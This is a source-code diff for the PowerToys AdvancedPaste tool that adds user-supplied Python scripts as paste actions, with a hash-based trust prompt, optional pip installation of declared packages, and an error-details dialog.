HorizontalAlignment="Stretch"
Orientation="Vertical">
<TextBox
x:Name="AIErrorMessage"
x:Uid="AIErrorMessage"
FontSize="12"
IsReadOnly="True"
Text="{x:Bind ViewModel.PasteActionError.Details, Mode=OneWay}"
TextWrapping="Wrap" />
</StackPanel>
</ToolTip>
</ToolTipService.ToolTip>
<FontIcon
Margin="0,3,3,0"
VerticalAlignment="Top"
FontSize="12"
Foreground="{ThemeResource AccentTextFillColorPrimaryBrush}"
Glyph="&#xE946;"
Visibility="{x:Bind ViewModel.PasteActionError.HasDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}" />
<TextBlock
FontWeight="SemiBold"
Foreground="{ThemeResource SystemFillColorCriticalBrush}"
Style="{StaticResource CaptionTextBlockStyle}"
Text="{x:Bind ViewModel.PasteActionError.Text, Mode=OneWay}" />
</StackPanel>
<HyperlinkButton
x:Uid="SettingsBtn"
Grid.Column="1"
Margin="0,-1,0,0"
Padding="0"
HorizontalAlignment="Left"
VerticalAlignment="Top"
Command="{x:Bind ViewModel.OpenSettingsCommand}"
FontSize="12" />
<animations:Implicit.ShowAnimations>
<animations:OpacityAnimation To="1.0" Duration="0:0:0.6" />
</animations:Implicit.ShowAnimations>
<animations:Implicit.HideAnimations>
<animations:OpacityAnimation To="0.0" Duration="0:0:0.167" />
</animations:Implicit.HideAnimations>
</Grid>
<!-- Error message grid moved to MainPage.xaml so it remains enabled when PromptBox is disabled -->
<VisualStateManager.VisualStateGroups>
<VisualStateGroup x:Name="CommonStates">
<VisualState x:Name="DefaultState" />
@@ -832,7 +776,6 @@
<VisualState.Setters>
<Setter Target="InputTxtBox.BorderBrush" Value="{ThemeResource SystemFillColorCriticalBrush}" />
<Setter Target="DisclaimerPresenter.Visibility" Value="Collapsed" />
<Setter Target="ErrorMessageGrid.Visibility" Value="Visible" />
</VisualState.Setters>
</VisualState>
</VisualStateGroup>

View File

@@ -43,7 +43,8 @@ namespace AdvancedPaste
double GetHeight(int maxCustomActionCount) =>
baseHeight +
new PasteFormatsToHeightConverter().GetHeight(coreActionCount + _userSettings.AdditionalActions.Count) +
new PasteFormatsToHeightConverter() { MaxItems = maxCustomActionCount }.GetHeight(_optionsViewModel.IsCustomAIServiceEnabled ? _userSettings.CustomActions.Count : 0);
new PasteFormatsToHeightConverter() { MaxItems = maxCustomActionCount }.GetHeight(_optionsViewModel.IsCustomAIServiceEnabled ? _userSettings.CustomActions.Count : 0) +
new PasteFormatsToHeightConverter() { MaxItems = maxCustomActionCount }.GetHeight(_optionsViewModel.PythonScriptPasteFormats.Count);
MinHeight = GetHeight(1);
Height = GetHeight(5);
@@ -59,6 +60,7 @@ namespace AdvancedPaste
UpdateHeight();
}
};
_optionsViewModel.PythonScriptPasteFormats.CollectionChanged += (_, _) => UpdateHeight();
AppWindow.SetIcon("Assets/AdvancedPaste/AdvancedPaste.ico");
this.ExtendsContentIntoTitleBar = true;

View File

@@ -144,6 +144,7 @@
</Page.KeyboardAccelerators>
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="*" />
@@ -299,13 +300,65 @@
</StackPanel>
</controls:PromptBox.Footer>
</controls:PromptBox>
<ScrollViewer Grid.Row="2">
<Grid
x:Name="ErrorMessageGrid"
Grid.Row="2"
Margin="20,4,20,0"
ColumnSpacing="8"
Visibility="{x:Bind ViewModel.PasteActionError.HasText, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto" />
<ColumnDefinition Width="*" />
<ColumnDefinition Width="Auto" />
<ColumnDefinition Width="Auto" />
</Grid.ColumnDefinitions>
<FontIcon
Grid.Column="0"
Margin="0,3,3,0"
VerticalAlignment="Top"
FontSize="12"
Foreground="{ThemeResource AccentTextFillColorPrimaryBrush}"
Glyph="&#xE946;"
Visibility="{x:Bind ViewModel.PasteActionError.HasDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}" />
<TextBlock
Grid.Column="1"
FontWeight="SemiBold"
Foreground="{ThemeResource SystemFillColorCriticalBrush}"
Style="{StaticResource CaptionTextBlockStyle}"
MaxLines="2"
TextTrimming="CharacterEllipsis"
TextWrapping="Wrap"
Text="{x:Bind ViewModel.PasteActionError.Text, Mode=OneWay}" />
<HyperlinkButton
x:Name="ShowErrorDetailsBtn"
x:Uid="ShowErrorDetailsBtn"
Grid.Column="2"
Margin="4,-1,0,0"
Padding="0"
HorizontalAlignment="Left"
VerticalAlignment="Top"
Click="ShowErrorDetailsBtn_Click"
FontSize="12"
Visibility="{x:Bind ViewModel.PasteActionError.HasDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}" />
<HyperlinkButton
x:Uid="SettingsBtn"
Grid.Column="3"
Margin="0,-1,0,0"
Padding="0"
HorizontalAlignment="Left"
VerticalAlignment="Top"
Command="{x:Bind ViewModel.OpenSettingsCommand}"
FontSize="12" />
</Grid>
<ScrollViewer Grid.Row="3">
<Grid RowSpacing="4">
<Grid.RowDefinitions>
<RowDefinition Height="{x:Bind ViewModel.StandardPasteFormats.Count, Mode=OneWay, Converter={StaticResource standardPasteFormatsToHeightConverter}}" />
<RowDefinition Height="Auto" />
<RowDefinition Height="*" MinHeight="{x:Bind ViewModel.CustomActionPasteFormats.Count, Mode=OneWay, Converter={StaticResource customActionsToMinHeightConverter}}" />
<RowDefinition Height="Auto" />
<RowDefinition Height="*" MinHeight="{x:Bind ViewModel.PythonScriptPasteFormats.Count, Mode=OneWay, Converter={StaticResource customActionsToMinHeightConverter}}" />
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
</Grid.RowDefinitions>
<ListView
@@ -341,6 +394,27 @@
ScrollViewer.VerticalScrollMode="Disabled"
SelectionMode="None"
TabIndex="2" />
<Rectangle
Grid.Row="3"
Height="1"
HorizontalAlignment="Stretch"
Fill="{ThemeResource DividerStrokeColorDefaultBrush}"
Visibility="{x:Bind ViewModel.PythonScriptPasteFormats.Count, Mode=OneWay, Converter={StaticResource countToVisibilityConverter}}" />
<ListView
x:Name="PythonScriptsListView"
Grid.Row="4"
VerticalAlignment="Top"
IsItemClickEnabled="True"
ItemClick="PasteFormat_ItemClick"
ItemContainerTransitions="{x:Null}"
ItemTemplateSelector="{StaticResource PasteFormatTemplateSelector}"
ItemsSource="{x:Bind ViewModel.PythonScriptPasteFormats, Mode=OneWay}"
ScrollViewer.VerticalScrollBarVisibility="Disabled"
ScrollViewer.VerticalScrollMode="Disabled"
SelectionMode="None"
TabIndex="3" />
</Grid>
</ScrollViewer>
</Grid>

View File

@@ -208,5 +208,43 @@ namespace AdvancedPaste.Pages
Clipboard.SetHistoryItemAsContent(item.Item);
}
}
private async void ShowErrorDetailsBtn_Click(object sender, RoutedEventArgs e)
{
var details = ViewModel.PasteActionError?.Details;
if (string.IsNullOrEmpty(details))
{
return;
}
var scrollViewer = new ScrollViewer
{
MaxHeight = 400,
MinWidth = 400,
HorizontalScrollBarVisibility = ScrollBarVisibility.Disabled,
VerticalScrollBarVisibility = ScrollBarVisibility.Auto,
};
var textBlock = new TextBlock
{
Text = details,
TextWrapping = TextWrapping.Wrap,
FontFamily = new Microsoft.UI.Xaml.Media.FontFamily("Consolas"),
FontSize = 12,
IsTextSelectionEnabled = true,
};
scrollViewer.Content = textBlock;
var dialog = new ContentDialog
{
Title = ResourceLoaderInstance.ResourceLoader.GetString("ErrorDetailsDialogTitle"),
CloseButtonText = ResourceLoaderInstance.ResourceLoader.GetString("ErrorDetailsDialogClose"),
Content = scrollViewer,
XamlRoot = this.XamlRoot,
};
await dialog.ShowAsync();
}
}
}

View File

@@ -27,8 +27,22 @@ namespace AdvancedPaste.Settings
public PasteAIConfiguration PasteAIConfiguration { get; }
public IReadOnlyList<AdvancedPastePythonScriptAction> PythonScriptActions { get; }
public bool IsPythonScriptsEnabled { get; }
public string PythonScriptsFolder { get; }
public string PythonExecutablePath { get; }
public int PythonScriptTimeoutSeconds { get; }
public IReadOnlyDictionary<string, string> TrustedScriptHashes { get; }
public event EventHandler Changed;
Task SetActiveAIProviderAsync(string providerId);
void StoreTrustedScriptHash(string scriptPath, string hash);
}
}

View File

@@ -4,6 +4,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Abstractions;
using System.Linq;
using System.Threading;
@@ -25,6 +26,10 @@ namespace AdvancedPaste.Settings
private readonly Lock _loadingSettingsLock = new();
private readonly List<PasteFormats> _additionalActions;
private readonly List<AdvancedPasteCustomAction> _customActions;
private readonly List<AdvancedPastePythonScriptAction> _pythonScriptActions;
private FileSystemWatcher _scriptFolderWatcher;
private CancellationTokenSource _scriptFolderDebounce;
private string _watchedScriptsFolder = string.Empty;
private const string AdvancedPasteModuleName = "AdvancedPaste";
private const int MaxNumberOfRetry = 5;
@@ -48,6 +53,18 @@ namespace AdvancedPaste.Settings
public PasteAIConfiguration PasteAIConfiguration { get; private set; }
public IReadOnlyList<AdvancedPastePythonScriptAction> PythonScriptActions => _pythonScriptActions;
public string PythonScriptsFolder { get; private set; }
public bool IsPythonScriptsEnabled { get; private set; }
public string PythonExecutablePath { get; private set; }
public int PythonScriptTimeoutSeconds { get; private set; } = 30;
public IReadOnlyDictionary<string, string> TrustedScriptHashes { get; private set; } = new Dictionary<string, string>();
public UserSettings(IFileSystem fileSystem)
{
_settingsUtils = new SettingsUtils(fileSystem);
@@ -57,8 +74,12 @@ namespace AdvancedPaste.Settings
CloseAfterLosingFocus = false;
EnableClipboardPreview = true;
PasteAIConfiguration = new PasteAIConfiguration();
PythonScriptsFolder = GetDefaultScriptsFolder();
PythonExecutablePath = string.Empty;
PythonScriptTimeoutSeconds = 30;
_additionalActions = [];
_customActions = [];
_pythonScriptActions = [];
_taskScheduler = TaskScheduler.FromCurrentSynchronizationContext();
LoadSettingsFromJson();
@@ -66,6 +87,14 @@ namespace AdvancedPaste.Settings
_watcher = Helper.GetFileWatcher(AdvancedPasteModuleName, "settings.json", OnSettingsFileChanged, fileSystem);
}
private static string GetDefaultScriptsFolder() =>
System.IO.Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft",
"PowerToys",
"AdvancedPaste",
"Scripts");
private void OnSettingsFileChanged()
{
lock (_loadingSettingsLock)
@@ -131,6 +160,22 @@ namespace AdvancedPaste.Settings
_customActions.Clear();
_customActions.AddRange(properties.CustomActions.Value.Where(customAction => customAction.IsShown && customAction.IsValid));
var pythonScripts = properties.PythonScripts ?? new AdvancedPastePythonScriptSettings();
IsPythonScriptsEnabled = pythonScripts.IsEnabled;
PythonScriptsFolder = string.IsNullOrWhiteSpace(pythonScripts.ScriptsFolder)
? GetDefaultScriptsFolder()
: pythonScripts.ScriptsFolder;
PythonExecutablePath = pythonScripts.PythonExecutablePath ?? string.Empty;
PythonScriptTimeoutSeconds = pythonScripts.TimeoutSeconds > 0 ? pythonScripts.TimeoutSeconds : 30;
TrustedScriptHashes = new Dictionary<string, string>(
pythonScripts.TrustedScriptHashes ?? new Dictionary<string, string>(),
StringComparer.OrdinalIgnoreCase);
_pythonScriptActions.Clear();
_pythonScriptActions.AddRange(pythonScripts.Value.Where(a => a.IsShown));
UpdateScriptFolderWatcher(PythonScriptsFolder);
Changed?.Invoke(this, EventArgs.Empty);
}
@@ -295,6 +340,102 @@ namespace AdvancedPaste.Settings
return string.IsNullOrWhiteSpace(filtered) ? "default" : filtered.ToLowerInvariant();
}
private void UpdateScriptFolderWatcher(string folderPath)
{
if (string.Equals(_watchedScriptsFolder, folderPath, StringComparison.OrdinalIgnoreCase))
{
return;
}
_scriptFolderWatcher?.Dispose();
_scriptFolderWatcher = null;
_watchedScriptsFolder = folderPath;
if (string.IsNullOrWhiteSpace(folderPath))
{
return;
}
try
{
if (!System.IO.Directory.Exists(folderPath))
{
System.IO.Directory.CreateDirectory(folderPath);
}
_scriptFolderWatcher = new FileSystemWatcher(folderPath, "*.py")
{
NotifyFilter = NotifyFilters.FileName | NotifyFilters.LastWrite | NotifyFilters.CreationTime,
EnableRaisingEvents = true,
IncludeSubdirectories = false,
};
_scriptFolderWatcher.Changed += OnScriptFolderChanged;
_scriptFolderWatcher.Created += OnScriptFolderChanged;
_scriptFolderWatcher.Deleted += OnScriptFolderChanged;
_scriptFolderWatcher.Renamed += OnScriptFolderChanged;
}
catch (Exception ex)
{
Logger.LogError($"Failed to set up script folder watcher for {folderPath}", ex);
}
}
private void OnScriptFolderChanged(object sender, FileSystemEventArgs e)
{
lock (_loadingSettingsLock)
{
_scriptFolderDebounce?.Cancel();
_scriptFolderDebounce = new CancellationTokenSource();
Task.Delay(TimeSpan.FromMilliseconds(500))
.ContinueWith(
_ =>
{
Task.Factory
.StartNew(
() => Changed?.Invoke(this, EventArgs.Empty),
CancellationToken.None,
TaskCreationOptions.None,
_taskScheduler)
.Wait();
},
_scriptFolderDebounce.Token,
TaskContinuationOptions.NotOnCanceled,
TaskScheduler.Default);
}
}
public void StoreTrustedScriptHash(string scriptPath, string hash)
{
lock (_loadingSettingsLock)
{
try
{
var settings = _settingsUtils.GetSettingsOrDefault<AdvancedPasteSettings>(AdvancedPasteModuleName);
if (settings?.Properties?.PythonScripts is null)
{
return;
}
settings.Properties.PythonScripts.TrustedScriptHashes ??= new Dictionary<string, string>();
settings.Properties.PythonScripts.TrustedScriptHashes[scriptPath] = hash;
settings.Save(_settingsUtils);
// Update in-memory cache.
var updated = new Dictionary<string, string>(TrustedScriptHashes, StringComparer.OrdinalIgnoreCase)
{
[scriptPath] = hash,
};
TrustedScriptHashes = updated;
}
catch (Exception ex)
{
Logger.LogError("Failed to store trusted script hash", ex);
}
}
}
public async Task SetActiveAIProviderAsync(string providerId)
{
if (string.IsNullOrWhiteSpace(providerId))
@@ -387,6 +528,8 @@ namespace AdvancedPaste.Settings
if (disposing)
{
_cancellationTokenSource?.Dispose();
_scriptFolderDebounce?.Dispose();
_scriptFolderWatcher?.Dispose();
_watcher?.Dispose();
}

View File

@@ -40,6 +40,14 @@ public sealed class PasteFormat
IsSavedQuery = isSavedQuery,
};
public static PasteFormat CreatePythonScriptFormat(string name, string scriptPath, ClipboardFormat availableFormats) =>
new(PasteFormats.PythonScript, availableFormats, isAIServiceEnabled: false)
{
Name = name,
Prompt = scriptPath,
IsSavedQuery = true,
};
public PasteFormatMetadataAttribute Metadata => MetadataDict[Format];
public string IconGlyph => Metadata.IconGlyph;

View File

@@ -122,4 +122,13 @@ public enum PasteFormats
KernelFunctionDescription = "Takes user instructions and applies them to the current clipboard content (text or image). Use this function for image analysis, description, or transformation tasks beyond simple OCR.",
RequiresPrompt = true)]
CustomTextTransformation,
[PasteFormatMetadata(
IsCoreAction = false,
IconGlyph = "\uE943",
RequiresAIService = false,
CanPreview = true,
SupportedClipboardFormats = ClipboardFormat.Text | ClipboardFormat.Html | ClipboardFormat.Image | ClipboardFormat.Audio | ClipboardFormat.Video | ClipboardFormat.File,
KernelFunctionDescription = "Runs a user-provided Python script on clipboard content.")]
PythonScript,
}

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
@@ -9,15 +9,23 @@ using System.Threading.Tasks;
using AdvancedPaste.Helpers;
using AdvancedPaste.Models;
using AdvancedPaste.Services.CustomActions;
using AdvancedPaste.Services.PythonScripts;
using ManagedCommon;
using Microsoft.PowerToys.Telemetry;
using Windows.ApplicationModel.DataTransfer;
namespace AdvancedPaste.Services;
public sealed class PasteFormatExecutor(IKernelService kernelService, ICustomActionTransformService customActionTransformService) : IPasteFormatExecutor
public sealed class PasteFormatExecutor(
IKernelService kernelService,
ICustomActionTransformService customActionTransformService,
IPythonScriptService pythonScriptService,
IPythonScriptTrustService pythonScriptTrustService) : IPasteFormatExecutor
{
private readonly IKernelService _kernelService = kernelService;
private readonly ICustomActionTransformService _customActionTransformService = customActionTransformService;
private readonly IPythonScriptService _pythonScriptService = pythonScriptService;
private readonly IPythonScriptTrustService _pythonScriptTrustService = pythonScriptTrustService;
public async Task<DataPackage> ExecutePasteFormatAsync(PasteFormat pasteFormat, PasteActionSource source, CancellationToken cancellationToken, IProgress<double> progress)
{
@@ -32,6 +40,15 @@ public sealed class PasteFormatExecutor(IKernelService kernelService, ICustomAct
var clipboardData = Clipboard.GetContent();
// PythonScript must NOT run inside Task.Run: the trust confirmation (ContentDialog)
// requires the UI (XAML) thread and will throw if called from a thread-pool thread.
// Python script execution is fully async (process.WaitForExitAsync), so it is safe
// to await it directly without wrapping in Task.Run.
if (format == PasteFormats.PythonScript)
{
return await ExecutePythonScriptAsync(pasteFormat.Prompt, clipboardData, cancellationToken, progress);
}
// Run on thread-pool; although we use Async routines consistently, some actions still occasionally take a long time without yielding.
return await Task.Run(async () =>
pasteFormat.Format switch
@@ -42,6 +59,85 @@ public sealed class PasteFormatExecutor(IKernelService kernelService, ICustomAct
});
}
private async Task<DataPackage> ExecutePythonScriptAsync(
string scriptPath,
DataPackageView clipboardData,
CancellationToken cancellationToken,
IProgress<double> progress)
{
// Security: ensure the script is trusted before executing.
if (!_pythonScriptTrustService.IsTrusted(scriptPath))
{
var hash = _pythonScriptTrustService.ComputeHash(scriptPath);
var approved = await _pythonScriptTrustService.RequestTrustAsync(scriptPath, hash);
if (!approved)
{
throw new OperationCanceledException("User declined to trust the Python script.");
}
_pythonScriptTrustService.StoreTrust(scriptPath, hash);
}
var metadata = _pythonScriptService.ReadMetadata(scriptPath);
// Pre-flight: check for missing packages and offer to install them.
var missingPackages = await _pythonScriptService.GetMissingRequirementsAsync(metadata, cancellationToken);
if (missingPackages.Count > 0)
{
var approved = await _pythonScriptTrustService.RequestInstallAsync(metadata.Name, missingPackages);
if (!approved)
{
throw new OperationCanceledException("User declined to install missing Python packages.");
}
await _pythonScriptService.InstallRequirementsAsync(missingPackages, metadata.Platform, cancellationToken);
}
var detectedFormat = await clipboardData.GetAvailableFormatsAsync();
if (string.Equals(metadata.Platform, "linux", StringComparison.OrdinalIgnoreCase))
{
return await _pythonScriptService.ExecuteWslScriptAsync(scriptPath, clipboardData, detectedFormat, cancellationToken, progress);
}
else
{
// Windows mode: script modifies the clipboard in-process; we return the updated clipboard.
await _pythonScriptService.ExecuteWindowsScriptAsync(scriptPath, detectedFormat, cancellationToken, progress);
// Re-read clipboard after script has run.
return Clipboard.GetContent() is { } updatedView
? await DataPackageFromViewAsync(updatedView)
: new DataPackage();
}
}
private static async Task<DataPackage> DataPackageFromViewAsync(DataPackageView view)
{
var pkg = new DataPackage();
if (view.Contains(StandardDataFormats.Text))
{
pkg.SetText(await view.GetTextAsync());
}
else if (view.Contains(StandardDataFormats.Html))
{
pkg.SetHtmlFormat(await view.GetHtmlFormatAsync());
}
else if (view.Contains(StandardDataFormats.StorageItems))
{
var items = await view.GetStorageItemsAsync();
pkg.SetStorageItems(items);
}
else if (view.Contains(StandardDataFormats.Bitmap))
{
var bitmap = await view.GetBitmapAsync();
pkg.SetBitmap(bitmap);
}
return pkg;
}
private static void WriteTelemetry(PasteFormats format, PasteActionSource source)
{
switch (source)

View File

@@ -0,0 +1,62 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
using AdvancedPaste.Models;
using Windows.ApplicationModel.DataTransfer;
namespace AdvancedPaste.Services.PythonScripts;
public interface IPythonScriptService
{
/// <summary>
/// Windows mode: the script directly manipulates the clipboard. C# waits for the process to exit.
/// </summary>
Task ExecuteWindowsScriptAsync(string scriptPath, ClipboardFormat detectedFormat, CancellationToken cancellationToken, IProgress<double> progress);
/// <summary>
/// WSL mode: C# passes data via JSON stdin, receives a DataPackage from JSON stdout.
/// </summary>
Task<DataPackage> ExecuteWslScriptAsync(string scriptPath, DataPackageView clipboardData, ClipboardFormat detectedFormat, CancellationToken cancellationToken, IProgress<double> progress);
/// <summary>
/// Parses the @advancedpaste: header comments from a Python script file.
/// </summary>
PythonScriptMetadata ReadMetadata(string scriptPath);
/// <summary>
/// Discovers all .py scripts in <paramref name="folderPath"/> and returns their metadata.
/// </summary>
IReadOnlyList<PythonScriptMetadata> DiscoverScripts(string folderPath);
/// <summary>
/// Finds the Python executable to use. Returns null if none is found.
/// </summary>
string TryFindPythonExecutable(string overridePath = null);
/// <summary>
/// Returns true if wsl.exe is available on this machine.
/// </summary>
bool IsWslAvailable();
/// <summary>
/// Checks which of the declared requirements are not yet importable.
/// Returns an empty list if all packages are installed.
/// </summary>
Task<IReadOnlyList<PythonRequirement>> GetMissingRequirementsAsync(
PythonScriptMetadata metadata,
CancellationToken cancellationToken);
/// <summary>
/// Installs the given packages via pip / pip3.
/// </summary>
Task InstallRequirementsAsync(
IReadOnlyList<PythonRequirement> requirements,
string platform,
CancellationToken cancellationToken);
}

View File

@@ -0,0 +1,37 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using System.Threading.Tasks;
namespace AdvancedPaste.Services.PythonScripts;
public interface IPythonScriptTrustService
{
/// <summary>
/// Returns true if the script at <paramref name="scriptPath"/> is currently trusted (hash matches stored value).
/// </summary>
bool IsTrusted(string scriptPath);
/// <summary>
/// Shows a UI confirmation dialog for the script. Returns true if the user approved execution.
/// </summary>
Task<bool> RequestTrustAsync(string scriptPath, string hash);
/// <summary>
/// Persists the trust entry for <paramref name="scriptPath"/> with the given <paramref name="hash"/>.
/// </summary>
void StoreTrust(string scriptPath, string hash);
/// <summary>
/// Computes the SHA-256 hash of the script file and returns the hex string.
/// </summary>
string ComputeHash(string scriptPath);
/// <summary>
/// Shows a confirmation dialog listing the missing packages and asking the user
/// whether to install them. Returns true if the user approved installation.
/// </summary>
Task<bool> RequestInstallAsync(string scriptName, IReadOnlyList<PythonRequirement> missingPackages);
}

View File

@@ -0,0 +1,13 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace AdvancedPaste.Services.PythonScripts;
/// <summary>
/// Represents a single Python package requirement declared via
/// <c># @advancedpaste:requires import_name=pip_package</c>.
/// </summary>
/// <param name="ImportName">The Python import name used in the script (e.g. "cv2").</param>
/// <param name="PipPackage">The pip install name (e.g. "opencv-python-headless"). Equals <see cref="ImportName"/> when not explicitly specified.</param>
public sealed record PythonRequirement(string ImportName, string PipPackage);

View File

@@ -0,0 +1,19 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using AdvancedPaste.Models;
namespace AdvancedPaste.Services.PythonScripts;
public sealed record PythonScriptMetadata(
string ScriptPath,
string Name,
string Description,
ClipboardFormat SupportedFormats,
string Platform,
string Version,
bool IsEnabled,
IReadOnlyList<PythonRequirement> Requirements);

View File

@@ -0,0 +1,126 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Threading.Tasks;
using AdvancedPaste.Helpers;
using AdvancedPaste.Settings;
using ManagedCommon;
using Microsoft.UI.Xaml.Controls;
namespace AdvancedPaste.Services.PythonScripts;
public sealed class PythonScriptTrustService(IUserSettings userSettings) : IPythonScriptTrustService
{
private readonly IUserSettings _userSettings = userSettings;
public bool IsTrusted(string scriptPath)
{
var hashes = _userSettings.TrustedScriptHashes;
if (hashes is null || !hashes.TryGetValue(scriptPath, out var storedHash))
{
return false;
}
try
{
var currentHash = ComputeHash(scriptPath);
return string.Equals(currentHash, storedHash, StringComparison.OrdinalIgnoreCase);
}
catch (Exception ex)
{
Logger.LogError($"Failed to compute hash for {scriptPath}", ex);
return false;
}
}
public async Task<bool> RequestTrustAsync(string scriptPath, string hash)
{
try
{
var resourceLoader = ResourceLoaderInstance.ResourceLoader;
var dialog = new ContentDialog
{
Title = resourceLoader.GetString("PythonScriptTrustTitle"),
Content = string.Format(
System.Globalization.CultureInfo.CurrentCulture,
resourceLoader.GetString("PythonScriptTrustContent"),
scriptPath),
PrimaryButtonText = resourceLoader.GetString("PythonScriptTrustConfirm"),
CloseButtonText = resourceLoader.GetString("PythonScriptTrustCancel"),
};
// XamlRoot must be set for ContentDialog to function.
var mainWindow = (Microsoft.UI.Xaml.Application.Current as AdvancedPaste.App)?.GetMainWindow();
if (mainWindow?.Content?.XamlRoot is { } xamlRoot)
{
dialog.XamlRoot = xamlRoot;
}
var result = await dialog.ShowAsync();
return result == ContentDialogResult.Primary;
}
catch (Exception ex)
{
Logger.LogError("Failed to show trust dialog", ex);
return false;
}
}
public void StoreTrust(string scriptPath, string hash)
{
_userSettings.StoreTrustedScriptHash(scriptPath, hash);
}
public string ComputeHash(string scriptPath)
{
using var stream = File.OpenRead(scriptPath);
var hashBytes = SHA256.HashData(stream);
return Convert.ToHexStringLower(hashBytes);
}
public async Task<bool> RequestInstallAsync(string scriptName, IReadOnlyList<PythonRequirement> missingPackages)
{
try
{
var resourceLoader = ResourceLoaderInstance.ResourceLoader;
var packageList = string.Join("\n", missingPackages.Select(r =>
string.Equals(r.ImportName, r.PipPackage, StringComparison.Ordinal)
? $" • {r.PipPackage}"
: $" • {r.PipPackage} (import: {r.ImportName})"));
var dialog = new ContentDialog
{
Title = resourceLoader.GetString("PythonPackageInstallTitle"),
Content = string.Format(
System.Globalization.CultureInfo.CurrentCulture,
resourceLoader.GetString("PythonPackageInstallContent"),
scriptName,
packageList),
PrimaryButtonText = resourceLoader.GetString("PythonPackageInstallConfirm"),
CloseButtonText = resourceLoader.GetString("PythonPackageInstallCancel"),
};
var mainWindow = (Microsoft.UI.Xaml.Application.Current as AdvancedPaste.App)?.GetMainWindow();
if (mainWindow?.Content?.XamlRoot is { } xamlRoot)
{
dialog.XamlRoot = xamlRoot;
}
var result = await dialog.ShowAsync();
return result == ContentDialogResult.Primary;
}
catch (Exception ex)
{
Logger.LogError("Failed to show package install dialog", ex);
return false;
}
}
}

View File

@@ -372,4 +372,73 @@
<value>Unable to load Foundry Local model: {0}</value>
<comment>{0} is the model identifier. Do not translate {0}.</comment>
</data>
<data name="PythonNotFound" xml:space="preserve">
<value>Python was not found. Please install Python or configure the path in Settings.</value>
</data>
<data name="WslNotAvailable" xml:space="preserve">
<value>WSL is not installed or not available. Cannot run Linux scripts.</value>
</data>
<data name="PythonScriptFailed" xml:space="preserve">
<value>The Python script failed to execute.</value>
</data>
<data name="PythonScriptTimeout" xml:space="preserve">
<value>Script execution timed out ({0} seconds).</value>
<comment>{0} is the configured timeout in seconds. Do not translate {0}.</comment>
</data>
<data name="PythonScriptNotFound" xml:space="preserve">
<value>Script file not found: {0}</value>
<comment>{0} is the script file path. Do not translate {0}.</comment>
</data>
<data name="PythonScriptInvalidJson" xml:space="preserve">
<value>The script output is not valid JSON.</value>
</data>
<data name="PythonScriptTrustTitle" xml:space="preserve">
<value>Run Python Script?</value>
</data>
<data name="PythonScriptTrustContent" xml:space="preserve">
<value>This script has not been verified. Running untrusted scripts can be a security risk. Do you want to run the following script?
{0}</value>
<comment>{0} is the script file path. Do not translate {0}.</comment>
</data>
<data name="PythonScriptTrustConfirm" xml:space="preserve">
<value>Run</value>
</data>
<data name="PythonScriptTrustCancel" xml:space="preserve">
<value>Cancel</value>
</data>
<data name="PythonPackageInstallTitle" xml:space="preserve">
<value>Install Missing Packages?</value>
</data>
<data name="PythonPackageInstallContent" xml:space="preserve">
<value>The script "{0}" requires the following Python packages that are not installed:
{1}
Install them now?</value>
<comment>{0} = script display name, {1} = bullet list of package names. Do not translate package names.</comment>
</data>
<data name="PythonPackageInstallConfirm" xml:space="preserve">
<value>Install</value>
</data>
<data name="PythonPackageInstallCancel" xml:space="preserve">
<value>Skip</value>
</data>
<data name="PythonPackageInstallFailed" xml:space="preserve">
<value>Failed to install package(s) "{0}": {1}</value>
<comment>{0} = pip package names, {1} = error detail. Do not translate package names.</comment>
</data>
<data name="PythonPackageInstallTimeout" xml:space="preserve">
<value>Package installation for "{0}" timed out ({1} seconds).</value>
<comment>{0} = pip package names, {1} = timeout in seconds. Do not translate {0} or {1}.</comment>
</data>
<data name="ShowErrorDetailsBtn.Content" xml:space="preserve">
<value>Show details</value>
</data>
<data name="ErrorDetailsDialogTitle" xml:space="preserve">
<value>Error Details</value>
</data>
<data name="ErrorDetailsDialogClose" xml:space="preserve">
<value>Close</value>
</data>
</root>

View File

@@ -16,6 +16,7 @@ using System.Threading.Tasks;
using AdvancedPaste.Helpers;
using AdvancedPaste.Models;
using AdvancedPaste.Services;
using AdvancedPaste.Services.PythonScripts;
using AdvancedPaste.Settings;
using Common.UI;
using CommunityToolkit.Mvvm.ComponentModel;
@@ -41,6 +42,7 @@ namespace AdvancedPaste.ViewModels
private readonly IUserSettings _userSettings;
private readonly IPasteFormatExecutor _pasteFormatExecutor;
private readonly IAICredentialsProvider _credentialsProvider;
private readonly IPythonScriptService _pythonScriptService;
private CancellationTokenSource _pasteActionCancellationTokenSource;
@@ -100,6 +102,8 @@ namespace AdvancedPaste.ViewModels
public ObservableCollection<PasteFormat> CustomActionPasteFormats { get; } = [];
public ObservableCollection<PasteFormat> PythonScriptPasteFormats { get; } = [];
public bool IsCustomAIServiceEnabled
{
get
@@ -258,11 +262,12 @@ namespace AdvancedPaste.ViewModels
public event EventHandler PreviewRequested;
